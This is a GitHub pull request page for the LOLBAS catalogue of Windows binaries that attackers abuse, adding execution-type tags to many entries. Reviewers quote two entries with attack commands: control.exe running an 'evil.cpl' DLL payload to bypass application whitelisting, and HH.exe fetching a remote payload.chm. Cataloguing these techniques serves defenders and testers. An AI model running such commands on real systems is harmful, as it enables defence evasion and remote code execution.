Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Pull request: Added Execute Tags to most of the LOLBas #405

Open
wants to merge 149 commits into
base: master
Choose a base branch
from
Open

Pull request: Added Execute Tags to most of the LOLBas #405

wants to merge 149 commits into from

Conversation

hegusung
Copy link

Hi, I really like the Tags feature and wanted to add tags to see better what type of payload the LOLBas executes.

So I made a commit per LOLBas edited. If you want me to do just 1 big commit I will do another Pull Request

The following can be improved, please tell me if you want me to spend more time on this:

  • Every "execute" tag are under "Execute: TYPE". However some TYPE are not executed properly speaking (like INF file for exemple). We can just leave it like this or switch to :
    • Execute: TYPE for executed files (like EXE, DLL)
    • Input: TYPE for non executed files (like INF, SCT)
  • The current tagging system does not separate EXE payloads from EXE payloads where you can specify arguments. It might be interesting to separate those.

Anyway please tell me how you feel about this.
Regards,
Hegusung

@hegusung
Update gh-pages.yml
8715370
@hegusung
Update gh-pages.yml
679b321
@hegusung
Update gh-pages.yml
0795916
@hegusung
Update Installutil.yml
56ad2e7 
Changed tags Execute DLL to Execute .NetDLL
Added Execute: .NetEXE tag
@hegusung
Update gh-pages.yml
0e177e7
@hegusung
Update Addinutil.yml
e573103 
Tags added:
- .NetObjects
- Fixed Format
@hegusung
Update At.yml
58d2f4c 
Added tags
- Execute: EXE
- Input: Custom Format
@hegusung
Update Atbroker.yml
a199ff5 
Added the following tags:
- Execute: EXE
- Input: Custom Format
@hegusung
Update Bash.yml
6d4ac1c 
Added tags:
- Execute: CMD
- Input: Custom format
@hegusung
Update Certoc.yml
3123301 
Added Tags:
- Input: CustomFormat
@hegusung
Update Cmstp.yml
6546853 
Tags:
Changed Input: INF to Execute INF for consistency
Inout: Customformat added
@hegusung
Update Conhost.yml
bb484e2 
Execute and Input Tags added
@hegusung
Update Control.yml
2bf4516 
Added Execution section to Control.exe

Added tags:
- Input Custom Format
@hegusung
Update Cscript.yml Tags
20ff06d 
Added Input tag
@hegusung
Update CustomShellHost.yml Tags
7642b8c 
Added Tags:
- Execute EXE
- Input Fixed Format
@hegusung
Update Dfsvc.yml Tags
daee90f 
Added Tags:
- Execute ClickOnce
- Execute Remote
- Input Custom Format
@hegusung
Update Diskshadow.yml Tags
0c36af1 
Added Tags:
- Execute CMD
- Input CustomFormat
@hegusung
Update Dnscmd.yml Tags
524ef32 
Added Tags:
- Execution: Remote
- Input: Custom Format
@hegusung
Update Explorer.yml Tags
ec76e9e 
Added Tags:
- Execute EXE
- Input: Custom Format
@hegusung
Update Extexport.yml Tags
44a2e0c 
Added Tags: 
- Input CustomFormat
@hegusung
Update Forfiles.yml Tags
3db62ff 
Added Tags:
- Execute EXE
- Input: Custom Format
@hegusung
Update Fsutil.yml Tags
d8c1def 
Added Tags:
Execute: EXE
Input: Fixed Format
@hegusung
Update Ftp.yml Tags
eb06fb5 
Added Tags:
- Execute CMD
- Input Custom Format
@hegusung
Update Gpscript.yml Tags
4e60ead 
Added Tags:
- Execute CMD
- Input Fixed Format
@hegusung
Update Hh.yml Tags and Added command
bbe0681 
Added the command to execute remote CHM files
Added Tags
@hegusung
Update Ie4uinit.yml
0a87854 
Added Tags:
Execute INF
Input: Fixed Format
@hegusung
Update Iediagcmd.yml Tags
5210291 
Added Tags
Execute EXE
Input Fixed Format
@hegusung
Update Ieexec.yml Tags
e8c0c77 
Added Tags:
Execute .NetEXE
Execute Remote
Input Custom Format
@hegusung
Update Infdefaultinstall.yml Tags
f3739fa 
Added:
Execute INF
Input Custom Format
@hegusung
Update Mavinject.yml Tags
bb2ab8c 
Added Tags:
Input Custom Format
hegusung and others added 21 commits October 13, 2024 22:24
@hegusung
Update Remote.yml Tags
fa2ded3 
Added Tags:
Execute EXE
Execute Remote
@hegusung
Update Sqlps.yml Tags
57e5e0d 
Added Tags:
Execute Powershell
@hegusung
Update Sqltoolsps.yml Tags
4df50e3 
Added Tags:
Execute: Powershell
@hegusung
Update Squirrel.yml tags
ae12e13 
Added Tags:
Execute Nuget
Execute Remote
@hegusung
Update Te.yml Tags
384d674 
Added Tags:
Execute WSH
@hegusung
Update Teams.yml Tags
ce9d4e5 
Added Tags:
- Execute: Javascript
Execute CMD
@hegusung
Update Update.yml Tags
927189f 
Added Tags:
Execute Nuget
Execute Remote
Execute EXE
@hegusung
Update VSDiagnostics.yml Tags
f080b42 
Added Tags:
Execute EXE
@hegusung
Update VSIISExeLauncher.yml Tags
780b478 
Added Tags:
Execute EXE
@hegusung
Update VisualUiaVerifyNative.yml Tags
ed5266d 
Added Tags:
Execute .NetObjects
@hegusung
Update VsLaunchBrowser.yml Tags
e0b8769 
Added Tags:
Execute EXE
Execute Remote
@hegusung
Update Vshadow.yml Tags
d170ef4 
Added Tags:
Execute: EXE
@hegusung
Update Vsjitdebugger.yml Tags
ec0a196 
Added Tags
Execute EXE
@hegusung
Update Wfc.yml Tags
f428073 
Added Tags:
Execute C#
@hegusung
Update Wsl.yml Tags
842865c 
Added Tags:
Execute EXE
Execute CMD
@hegusung
Update winfile.yml Tags
cc88242 
Added Tags
@hegusung
Update Csi.yml: Syntax error
8e3710a
@hegusung
Revert "Update gh-pages.yml"
f06ab89 
This reverts commit 0e177e7.
@hegusung
Revert "Update gh-pages.yml"
0dc5a46 
This reverts commit 0795916.
@hegusung
Revert "Update gh-pages.yml"
3cfdfdc 
This reverts commit 679b321.
@hegusung
Revert "Update gh-pages.yml"
0935d63 
This reverts commit 8715370.
@hegusung
Copy link
Author

Also, AWBypass and Execute sections are usually redundant. It could be interesting to add AWBypass as a tag rather than a section

@wietze wietze self-requested a review October 22, 2024 07:29
@wietze
Copy link
Member

wietze commented Oct 22, 2024

This is a nice idea, thank you for looking into this and opening a pull request.
I'll be adding a few suggestions but on the whole, this is a great contribution.

wietze
wietze approved these changes Nov 20, 2024
View reviewed changes
Copy link
Member

@wietze wietze left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I made a couple of small changes, see 089614e - let me know if you are happy with these, then I'll merge the entire PR. Thanks again for your work here, great stuff

wietze
wietze reviewed Nov 20, 2024
View reviewed changes
Copy link
Member

@wietze wietze left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, two minor questions

yml/OSBinaries/Control.yml
Comment on lines +16 to +24
- Command: control.exe c:\windows\tasks\evil.cpl
Description: Execute evil.cpl payload. A CPL is a DLL file with CPlApplet export function)
Usecase: Use to execute code and bypass application whitelisting
Category: Execute
Privileges: User
MitreID: T1218.002
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Execute: DLL
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Where did this come from?

yml/OSBinaries/Hh.yml
Comment on lines +27 to +37
- Command: HH.exe http://some.url/payload.chm
Description: Executes a remote payload.chm file which can contain commands.
Usecase: Execute commands with HH.exe
Category: Execute
Privileges: User
MitreID: T1218.001
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Execute: CMD
- Execute: CHM
- Execute: Remote
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same here

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@wietze wietze wietze approved these changes

Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
2 participants
@hegusung @wietze